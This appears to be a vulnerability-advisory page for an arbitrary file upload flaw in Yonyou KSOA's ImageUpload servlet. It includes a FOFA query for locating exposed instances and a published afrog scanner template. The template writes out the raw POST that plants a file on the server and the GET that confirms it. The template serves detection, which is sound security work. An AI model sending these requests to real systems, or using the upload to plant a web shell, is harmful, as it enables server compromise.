yonyou-ufida-ksoa-image-upload-file: 用友-时空KSOA ImageUpload 任意文件上传

日期: 2025-09-01 | 影响软件: 用友时空KSOA | POC: 已公开

漏洞描述

用友时空KSOA是建立在SOA理念指导下研发的新一代产品,是根据流通企业前沿的IT需求推出的统一的IT基础架构,它可以让流通企业各个时期建立的IT系统之间彼此轻松对话。用友时空KSOA平台ImageUpload处存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限。 fofa：app="用友-时空KSOA"

PoC代码[已公开]

id: yonyou-ufida-ksoa-image-upload-file

info:
  name: 用友-时空KSOA ImageUpload 任意文件上传
  author: zan8in
  severity: high
  verified: true
  description: |
    用友时空KSOA是建立在SOA理念指导下研发的新一代产品,是根据流通企业前沿的IT需求推出的统一的IT基础架构,它可以让流通企业各个时期建立的IT系统之间彼此轻松对话。用友时空KSOA平台ImageUpload处存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限。
    fofa：app="用友-时空KSOA"
  
set:
  randstr: randomLowercase(6)
  randbody: randomLowercase(32)
  hostname: request.url.host
rules:
  r0:
    request:
      raw: |
        POST /servlet/com.sksoft.bill.ImageUpload?filename={{randstr}}.txt&filepath=/ HTTP/1.1
        Host: {{hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
        Content-Length: 32
        Accept: */*
        Accept-Encoding: gzip, deflate
        Connection: close

        {{randbody}}
    expression: response.status == 200
  r1:
    request:
      method: GET
      path: /pictures/{{randstr}}.txt
    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/yonyou-ufida-ksoa-image-upload-file.yaml

相关漏洞推荐